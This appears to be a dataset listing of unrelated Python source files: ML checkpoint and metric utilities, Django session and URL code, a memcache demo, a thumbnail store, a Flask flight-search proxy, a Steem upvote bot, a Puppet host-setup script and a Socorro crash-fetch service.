if not path.endswith("/"): path += "/"
state_dict_path = path + ModelFilenameConstants.OPTIMIZER_STATE_DICT_FILENAME
checkpoint = dict()
checkpoint["state_dict"] = optimizer.state_dict()
torch.save(checkpoint, state_dict_path)
return path
def save_tokenizer(path, tokenizer):
if not path.endswith("/"): path += "/"
tokenizer_path = path + ModelFilenameConstants.TOKENIZER_DIR
tokenizer.save_pretrained(tokenizer_path)
return path
def save_history(path, history):
if not path.endswith(ModelFilenameConstants.HISTORY_FILENAME):
if not path.endswith("/"): path += "/"
path = path + ModelFilenameConstants.HISTORY_FILENAME
with open(path, "wb") as fp:
pickle.dump(history, fp)
return path
def append_log(path, train_log_str, val_log_str, mode):
if mode == "epoch":
if not path.endswith(ModelFilenameConstants.EPOCH_LOG_FILENAME):
if not path.endswith("/"): path += "/"
path = path + ModelFilenameConstants.EPOCH_LOG_FILENAME
elif mode == "batch":
if not path.endswith(ModelFilenameConstants.BATCH_LOG_FILENAME):
if not path.endswith("/"): path += "/"
path = path + ModelFilenameConstants.BATCH_LOG_FILENAME
with open(path, "a", encoding="utf-8") as fp:
if train_log_str is not None:
fp.write(train_log_str + "\n")
if val_log_str is not None:
fp.write(val_log_str + "\n")
return path
def save_candidates(path, data):
if not path.endswith("/"): path += "/"
path = path + ModelFilenameConstants.ENCODED_DATA_DIRECTORY
if not os.path.exists(path) or not os.path.isdir(path): os.makedirs(path)
path = path + ModelFilenameConstants.CANDIDATES_FILENAME
with open(path, "wb") as fp:
pickle.dump(data, fp)
return path
def load_state_dict(object, path, map_location=None):
if not path.endswith(ModelFilenameConstants.STATE_DICT_FILENAME_POSTFIX):
if isinstance(object, torch.nn.modules.Module):
path = path + ModelFilenameConstants.MODEL_STATE_DICT_FILENAME
elif isinstance(object, torch.optim.Optimizer):
path = path + ModelFilenameConstants.OPTIMIZER_STATE_DICT_FILENAME
if map_location is None: map_location = torch.device("cpu")
checkpoint = torch.load(path, map_location=map_location)
state_dict = checkpoint["state_dict"]
object.load_state_dict(state_dict)
return object
def load_tokenizer(path, model_type: str):
if not path.endswith("/"): path += "/"
path = path + ModelFilenameConstants.TOKENIZER_DIR
tokenizer = load_tokenizer_from_pretrained(model_type=model_type, name_or_path=path)
return tokenizer
def load_candidates(path):
if not path.endswith("/"): path += "/"
path = path + ModelFilenameConstants.ENCODED_DATA_DIRECTORY + ModelFilenameConstants.CANDIDATES_FILENAME
data = None
with open(path, "rb") as fp:
data = pickle.load(fp)
return data
def remove_state_dict_prefix(state_dict, prefix):
output = OrderedDict()
prefix = "^" + prefix
for k,v in state_dict.items():
k = re.sub(prefix, "", k)
output[k] = v
return output
def compute_bleu(metric, tokenizer, predictions: List[str], references: List[str]):
predictions = [tokenizer.tokenize(prediction) for prediction in predictions]
references = [[tokenizer.tokenize(reference)] for reference in references]
score = metric.compute(predictions=predictions, references=references)
return score
def compute_meteor(metric, tokenizer, predictions: List[str], references: List[str]):
score = metric.compute(predictions=predictions, references=references)
return score
def compute_rouge(metric, tokenizer, predictions: List[str], references: List[str]):
predictions = [" ".join([str(_id) for _id in tokenizer.encode(prediction)]) for prediction in predictions]
references = [" ".join([str(_id) for _id in tokenizer.encode(reference)]) for reference in references]
score = metric.compute(predictions=predictions, references=references)
return score
def compute_semantic_score(metric, tokenizer, predictions: List[str], references: List[str]):
scores = metric.score(references=references, candidates=predictions, verbose=False)
score = np.mean(scores)
return score
def compute_hits(predictions: List[List[Any]], references: List[Any], k: List[int] = [1,2,5,10]):
_score_list = [[] for i in range(0, len(k))]
for prediction, reference in zip(predictions, references):
for _k_idx, _k in enumerate(k):
_score = 0
if reference in prediction[:_k]:
_score = 1
_score_list[_k_idx].append(_score)
score = []
for _k_idx, _k in enumerate(k):
score.append(np.mean(_score_list[_k_idx]))
return score
def get_score_json(model_name, dataset_name, test_data_size, batch_size, scores):
output = {
"model": model_name,
"dataset": dataset_name,
"fine-tuning": False,
"retriever_blending": False,
"epoch": 0,
"lr": -1,
"test_data_size": test_data_size,
"test_steps": (test_data_size // batch_size) + 1,
"batch_size": batch_size,
"metrics": {
}
}
for k, v in scores.items():
output["metrics"][k] = v
return output |
#!/usr/bin/python3
#coding:utf-8
a = 100
b = ['1','a','c']
def printer(x):
print(x)
if __name__ == '__main__':
printer(a)
printer(b) |
from django.conf import settings
from .models import Answer
import uuid
class Anonymous():
def __init__(self, request):
self.session = request.session
self.anonym_user = self.session.get('anonym_user')
if not self.anonym_user:
anonym_user = self.session['anonym_user'] = {}
self.anonym_user = anonym_user
self.anonym_user['id'] = str(uuid.uuid4().int)[0:10]
self.anonym_user['answers'] = []
def add_answers(self, id):
answer_id = id
if answer_id not in self.anonym_user['answers']:
self.anonym_user['answers'].append(id)
self.save()
def save(self):
self.session.modified = True
def __iter__(self):
answers_ids = self.anonym_user['answers']
answers = Answer.objects.filter(id__in=answers_ids)
anonym_user = self.anonym_user.copy()
for answer in answers:
yield answer
|
from django.contrib import admin
from django.urls import path, include
import orders.views
urlpatterns = [
path('', orders.views.index, name="show_order_route"),
path('create/<product_id>', orders.views.create_order, name="create_order_route"),
path('detail/<order_id>', orders.views.view_order_details, name="view_order_detail_route")
]
|
from django.contrib import admin
from django.urls import path
from apps.person import views
app_name = "person_app"
urlpatterns = [
path("", views.HomeView.as_view(), name="home"),
path(
"list-employees/",
views.ListAllEmployees.as_view(),
name="all_employees"
),
path(
"list-employees-admin/",
views.ListEmployeesAdmin.as_view(),
name="all_employees_admin"
),
path(
"list-by-area/<short_name>/",
views.ListEmployeesByArea.as_view(),
name="dept_employees"
),
path("search-employee/", views.ListEmployeesByKword.as_view()),
path("skills-employee/<pk>/", views.ListEmployeeSkills.as_view()),
path(
"show-employee/<pk>/",
views.EmployeeDetailView.as_view(),
name="employee_details"
),
path(
"add-employee/",
views.EmployeeCreateView.as_view(),
name="add_employee"
),
path("success/", views.SuccessView.as_view(), name="success"),
path(
"update-employee/<pk>/",
views.EmployeeUpdateView.as_view(),
name="update_employee"
),
path(
"delete-employee/<pk>/",
views.EmployeeDeleteView.as_view(),
name="delete_employee"
),
]
|
import memcache
# 在连接之前一定要切记先启动memcached
mc = memcache.Client(["127.0.0.1:11211"], debug=True)
# 设置数据
# mc.set('username', 'abc', time=120)
# # 获取数据
# print(mc.get('username'))
# 设置多个键值对
# mc.set_multi({"title": "钢铁是怎么练成的", 'content': "你好世界"}, time=120)
# 删除键
# mc.delete("username")
# 已设置了age=20
# 自动增长10, 若不设置delta就自动增长1
# mc.incr('age', delta=10)
# age = mc.get("age")
# print(age)
# 自动减少
mc.decr('age', delta=10) |
# -*- coding: utf-8 -*-
"""
# moar.storages.filesystem
Local file system store.
"""
import errno
import io
import os
import urlparse
def make_dirs(path):
try:
os.makedirs(os.path.dirname(path))
except (OSError), e:
if e.errno != errno.EEXIST:
raise
return path
class Storage(object):
def __init__(self, thumbsdir='t'):
self.thumbsdir = thumbsdir
def get(self, thumb):
""""""
name = self.get_name(thumb.key, thumb.options)
path = self.get_path(thumb.source, name)
if os.path.isfile(path):
return self.get_url(thumb.source, name)
return None
def save(self, thumb, raw_data):
name = self.get_name(thumb.key, thumb.options)
dest = self.get_path(thumb.source, name)
make_dirs(dest)
with io.open(dest, 'wb') as f:
f.write(raw_data)
return self.get_url(thumb.source, name)
def get_name(self, key, options):
format = options['format'].lower()
if format == 'jpeg':
format = 'jpg'
return '%s.%s' % (key, format)
def get_path(self, source, name):
path = os.path.dirname(source.path)
# Thumbsdir could be a callable
# In that case, the path is built on the fly, based on the thumbs name
thumbsdir = self.thumbsdir
if callable(self.thumbsdir):
thumbsdir = self.thumbsdir(name)
return os.path.join(path, thumbsdir, name)
def get_url(self, source, name):
parsed = urlparse.urlsplit(source.url)
path, _ = parsed.path.rsplit('/', 1)
new_path = '/'.join([path, self.thumbsdir, name])
new_parsed = (parsed.scheme, parsed.netloc, new_path, parsed.query,
parsed.fragment)
return urlparse.urlunsplit(new_parsed)
|
from flask import Flask, render_template
from flask_restful import reqparse, abort, Api, Resource
import requests
import json
from flask_cors import CORS, cross_origin
app = Flask(__name__)
api = Api(app)
cors = CORS(app, resources={r"/api/*": {"origins": "*"}})
parser = reqparse.RequestParser()
parser.add_argument('q')
parser.add_argument('date')
parser.add_argument('from')
parser.add_argument('to')
@app.route("/")
def hello():
return render_template('home.html')
class Airlines(Resource):
def get(self):
url = "http://node.locomote.com/code-task/airlines"
params = dict({})
req = requests.get(url=url, params=params)
data = json.loads(req.text)
return {"message": data}
class Airports(Resource):
def get(self, airport):
url = "http://node.locomote.com/code-task/airports?"
params = dict({"q": parser.parse_args()["q"]})
req = requests.get(url=url, params=params)
data = json.loads(req.text)
return {"message": data}
class Search(Resource):
def get(self, ida):
url = "http://node.locomote.com/code-task/flight_search/" + ida
params = dict({"date": parser.parse_args()["date"],
"from": parser.parse_args()["from"],
"to": parser.parse_args()["to"]})
req = requests.get(url=url, params=params)
data = json.loads(req.text)
return {"message": data}
api.add_resource(Airports, '/api/<airport>')
api.add_resource(Airlines, '/api/airlines')
api.add_resource(Search, '/api/search/<ida>')
if __name__ == '__main__':
app.run(debug=True, port=3000)
|
from steem import Steem
from steem.blockchain import Blockchain
from steem.post import Post
from steem.account import Account
import json
import datetime
import os
def converter(object_):
if isinstance(object_, datetime.datetime):
return object_.__str__()
def create_json():
user_json = {}
for user in Account("runburgundy").export()["following"]:
user_json[user] = {
"upvote_weight" : 100.0,
"upvote_limit" : 2,
"upvote_count" : 0
}
print(user_json)
return user_json
def valid_post(post, user_json):
title = post["title"]
author = post["author"]
if (author in user_json): # and not limit_reached(user_json, author)):
#user_json[author]["upvote_count"] += 1
print(post)
return True
else:
return False
def limit_reached(user_json, author):
if user_json[author]['upvote_limit'] == user_json[author]['upvote_count']:
return True
else:
return False
def run(user_json):
username = "runburgundy"
wif = os.environ.get("UNLOCK")
steem = Steem(wif=wif)
blockchain = Blockchain()
stream = map(Post, blockchain.stream(filter_by=["comment"]))
print("Checking posts on the blockchain!")
while True:
try:
for post in stream:
title = post["title"]
author = post["author"]
print(author)
if author in user_json:
# if valid_post(post, user_json):
try:
title = post["title"]
author = post["author"]
print("Upvoting post {} by {}!".format(title, author))
post.upvote(weight=user_json[author]["upvote_weight"],
voter=username)
except Exception as error:
print(repr(error))
continue
except Exception as error:
print(repr(error))
continue
#create_json()
run(create_json())
|
#!/usr/bin/env python
from subprocess import STDOUT, check_call
import re
# Set the hostname.
def set_host_name(domain,hostname):
# set hostname
fqdn = hostname + "." + domain
hostname_file = open("/etc/hostname","w")
hostname_file.write(fqdn + "\n")
hostname_file.close()
try:
check_call(['hostname', fqdn ], stderr=STDOUT)
except Exception as hostnamec_e:
print "Error while setting the hostname via command : ", fqdn
print "More details : " , hostnamec_e
print("Add hostname : " + fqdn)
# add entries to /etc/hosts
def add_etc_hosts(master_ip, domain, file_path='/etc/hosts'):
try:
config = open(file_path,'w')
config.write("# Added by the puppet installation script.\n")
config.write("127.0.0.1 localhost\n")
config.write(master_ip + " puppetmaster." + domain +" \n")
config.close()
print "Configured the /etc/hosts."
except Exception as hosts_e:
print "Error while configuring /etc/hosts."
print "More details : " , hosts_e
# Configure 'puppetagent-default'
def config_puppetagent_default(file_path='/etc/default/puppet', start='yes'):
try:
config = open(file_path,'w')
config.write("# Added by the puppet installation script.\n")
config.write("START=" + start + "\n")
config.close()
print "Configured the puppet agent default settings."
except Exception as agent_config_e:
print "Error while configuring puppet agent defaults."
print "More details : " , agent_config_e
# Configure 'puppet.conf'
def config_puppet_conf(domain, file_path='/etc/puppet/puppet.conf'):
try:
config = open(file_path,'w')
config.write("""# Added by the puppet installation script.
[main]
logdir=/var/log/puppet
vardir=/var/lib/puppet
ssldir=/var/lib/puppet/ssl
rundir=/var/run/puppet
factpath=$vardir/lib/facter
templatedir=$confdir/templates
""")
config.write("server=puppetmaster." + domain + "\n")
config.write("""waitforcert=60
report=false
[master]
""")
config.write("environment=" + re.sub("\.","_",domain) + "\n")
config.write("""modulepath=/etc/puppet/$environment/modules
templatedir=/etc/puppet/$environment/templates
manifest=/etc/puppet/$environment/manifests/site.pp
manifestdir=/etc/puppet/$environment/manifests/
[agent]
""")
config.write("environment=" + re.sub("\.","_",domain) + "\n")
config.close()
print "Configured the puppet.conf settings."
except Exception as agent_config_e:
print "Error while configuring puppet.conf."
print "More details : " , agent_config_e
|
# This Source Code Form is subject to the terms of the Mozilla Public
# License, v. 2.0. If a copy of the MPL was not distributed with this
# file, You can obtain one at http://mozilla.org/MPL/2.0/.
import logging
logger = logging.getLogger("webapi")
import socorro.lib.util as util
import socorro.webapi.webapiService as webapi
import web
from socorro.external.postgresql.priorityjobs import Priorityjobs
datatype_options = ('meta', 'raw_crash', 'processed')
crashStorageFunctions = ('fetchMeta', 'fetchRaw', 'fetchProcessed')
datatype_function_associations = dict(zip(datatype_options, crashStorageFunctions))
class NotADataTypeOption(Exception):
def __init__(self, reason):
#super(NotADataTypeOption, self).__init__("%s must be one of %s" % (reason, ','.join(datatype_options))
Exception.__init__("%s must be one of %s" % (reason, ','.join(datatype_options)))
def dataTypeOptions(x):
if x in datatype_options:
return x
raise NotADataTypeOption(x)
#=================================================================================================================
class GetCrash(webapi.JsonServiceBase):
#-----------------------------------------------------------------------------------------------------------------
def __init__(self, configContext):
super(GetCrash, self).__init__(configContext)
logger.debug('GetCrash __init__')
#-----------------------------------------------------------------------------------------------------------------
uri = '/crash/(.*)/by/uuid/(.*)'
#-----------------------------------------------------------------------------------------------------------------
def get(self, *args):
convertedArgs = webapi.typeConversion([dataTypeOptions,str], args)
parameters = util.DotDict(zip(['datatype','uuid'], convertedArgs))
logger.debug("GetCrash get %s", parameters)
self.crashStorage = self.crashStoragePool.crashStorage()
function_name = datatype_function_associations[parameters.datatype]
function = self.__getattribute__(function_name)
return function(parameters.uuid)
def fetchProcessed(self, uuid):
try:
return self.crashStorage.get_processed(uuid)
except Exception:
try:
raw = self.fetchRaw(uuid)
j = Priorityjobs(config=self.context)
j.create(uuid=uuid)
except Exception:
raise web.webapi.NotFound()
raise webapi.Timeout()
def fetchMeta(self, uuid):
return self.crashStorage.get_meta(uuid)
def fetchRaw(self, uuid):
return (self.crashStorage.get_raw_dump(uuid), "application/octet-stream")
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.